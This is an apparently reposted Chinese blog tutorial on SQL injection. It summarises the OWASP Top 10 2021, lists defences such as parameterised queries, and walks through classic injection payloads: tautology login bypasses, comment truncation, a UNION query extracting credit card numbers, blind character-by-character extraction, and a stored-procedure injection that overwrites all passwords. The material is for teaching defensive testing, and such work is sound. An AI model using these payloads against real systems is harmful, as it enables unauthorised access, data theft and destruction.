当前位置:   article > 正文

安全测试|SQL注入技术_注入 使用参数化

注入 使用参数化
  • A01:访问控制失效(Broken Access Control)从第五位上升到了第一位
  • A02:2021年,加密失败(Cryptographic Failure),此前名为“敏感数据暴露”(Sensitive Data Exposure),这一名称只是描述了广泛的症状而非根本原因——上移到了榜单第二位。
  • A03:2021年,注入(Injection)下滑到第三位。
  • A04:不安全设计(Insecure Design)是2021年出现的新类别,并且一出场就高居第四位。
  • A05:安全配置错误(Security Misconfiguration)
  • A06:2021年,脆弱过时组件(Vulnerable and Outdated Component),此前名为“使用具有已知漏洞的组件”(Using Components with Known Vulnerabilities)
  • A07:2021年,识别与认证失败(Identification and Authentication Failure),此前称为“身份验证失效”(Broken Authentication)
  • A08:软件和数据完整性故障(Software and Data Integrity Failure)是2021年新增的一个类别,主要关注缺乏完整性验证情况下做出与软件更新、关键数据和持续集成/持续交付(CI/CD)流水线相关的各种假设。
  • A09:2021年,安全日志与监测失败(Security Logging and Monitoring Failure),此前名为“日志记录和监控不足”(Insufficient Logging & Monitoring)
  • A10:服务器端请求伪造(Server-Side Request Forgery)是2021年新增的类别。
  • SQL注入风险

前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行, 从而导致数据库受损(被拖库、被删除、甚至整个服务器权限沦陷)

有以下几个方面的策略来防止sql注入

对传入的sql语句里面的变量进行过滤,不允许危险的字符传入

使用参数化

有很多ORM框架会自动使用参数化解决参数化解决注入问题

SQL注入注意事项

  • 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
  • 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

SQL注入分类

  • 数字型注入
  • 字符型注入
  • 搜索注入
  • 盲注
  • XX注入
  • 增删改注入

sql注入步骤

  • 检测注入点
  • 判断是否存在 SQL 注入可能
  • 数据库爆破
  • 数据库表爆破
  • 字段爆破
  • 用户名、密码爆破

数字型注入

引用


  SELECT * FROM Users WHERE Username='$username' AND Password='$password'


我们针对上面的SQL语句分析,发现如果用下面的测试数据就能够进行SQL注入了 

引用


$username = 1'or'1'='1
$password=1'or'1'='1


看看整个SQL查询语句变成: 

引用


SELECT * FROM Users WHERE Username='1' OR '1'='1' AND Password='1'OR '1'='1'


假设参数值是通过GET方法传递到服务器的,且域名为www.example.com 那么我们的访问请求就是: 

引用


http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1


  对上面的SQL语句作简单分析后我们就知道由于该语句永远为真,所以肯定会返回一些数据,在这种情况下实际上并未验证用户名和密码,并且在某些系统中,用户表的第一行记录是管理员,那这样造成的后果则更为严重。 

另外一个查询的例子如下: 

引用


   SELECT * FROM Users WHERE((Username='$username')AND(Password=MD5('$password')))


在这个例子中,存在两个问题,一个是括号的用法,还有一个是MD5哈希函数的用法。对于第一个问题,我们很容找出缺少的右括号解决,对于第二个问题,我们可以想办法使第二个条件失效。我们在查询语句的最后加上一个注释符以表示后面的都是注释,常见的注释起始符是/*(在Oracle中是--),也就是说,我们用如下的用户名和密码: 

引用


$username =1' or '1'='1'))/*
$password = foo


那么整条SQL语句就变为: 

引用


  SELECT * FROM Users WHERE(( Username='1'or '1'='1'))/*')AND (Password=MD5('$password')))

那么看看URL请求就变为: 

引用


http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo

Union查询SQL注入测试 
  还有一种测试是利用Union的,利用Union可以连接查询,从而从其他表中得到信息,假设如下查询: 

引用


  SELECT Name, Phone, Address FROM Users WHERE Id=$id


然后我们设置id的值为: 

引用


$id =1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable


那么整体的查询就变为: 

引用


SELECT Name, Phone,Address FROM Users WHERE Id=1 UNION ALL SELECT creaditCardNumber,1,1 FROM CreditCarTable


显示这就能得到所有信用卡用户的信息。 

盲目SQL注入测试 
  在上面我们提到过盲SQL注入,即bind SQL Injection,它意味着对于某个操作我们得不到任何信息,通常这是由于程序员已经编写了特定的出错返回页面,从而隐藏了数据库结构的信息。 

  但利用推理方法,有时候我们能够恢复特定字段的值。这种方法通常采用一组对服务器的布尔查询,依据返回的结果来推断结果的含义。仍然延续上面的www.example.com有一个参数名为id, 那么我们输入以下url请求: 

引用


  http://www.exampe.com/index.php?id=1'


显然由于语法错误,我们会得到一个预先定义好的出错页面,假设服务器上的查询语句为 

引用


SELECT field1,field2,field3 FROM Users WHERE Id='$Id' 


假设我们想要的带哦用户名字段的值,那么通过一些函数,我们就可以逐字符的读取用户名的值。在这里我们使用以下的函数: 

引用


  SUBSTRING(text,start,length), ASCII(char), LENGTH(text)


我们定义id为: 

引用


  $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1


那么最终的SQL查询语句为: 

引用


  SELECT field1,field2,field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'


那么,如果在数据库中有用户名的第一字符的ASCII码为97的话,那么我们就能得到一个真值u,那么就继续寻找该用户名的下一个字符;如果没有的话,那么我们就增猜测第一个字符的ASCII码为98的用户名,这样反复下去就能判断出合法的用户名。 

不过这样盲目SQL注入会要求使用大量的SQL尝试,有一些自动化的工具能够帮我们实现,SqlDumper就是这样的一种工具,对MySql数据库进行GET访问请求。 

存储过程注入 
  如果在使用存储过程不当的时候,会造成一定的SQL注入漏洞。 
以下面的SQL存储过程为例: 

引用


  Create procedure user_login
@username varchar(20),
@password varchar(20) As Declare @sqlstring varchar(250)

Set @sqlstring =''
Select 1 from users
where username='+@username+'and password='+@password
exec(@sqlstring)
Go

测试的输入如下: 

引用


anyusername or 1=1'
anypassword


如果程序没有对输入进行验证,那么上面的语句就返回数据库中的一条记录 

我们再看下面的一条: 

引用


Create procedure get_report @columnamelist varchar(7900) As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go


如果测试输入是: 

引用


1 from users;update users set password='password';select *


 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/142023
推荐阅读
相关标签
  

闽ICP备14008679号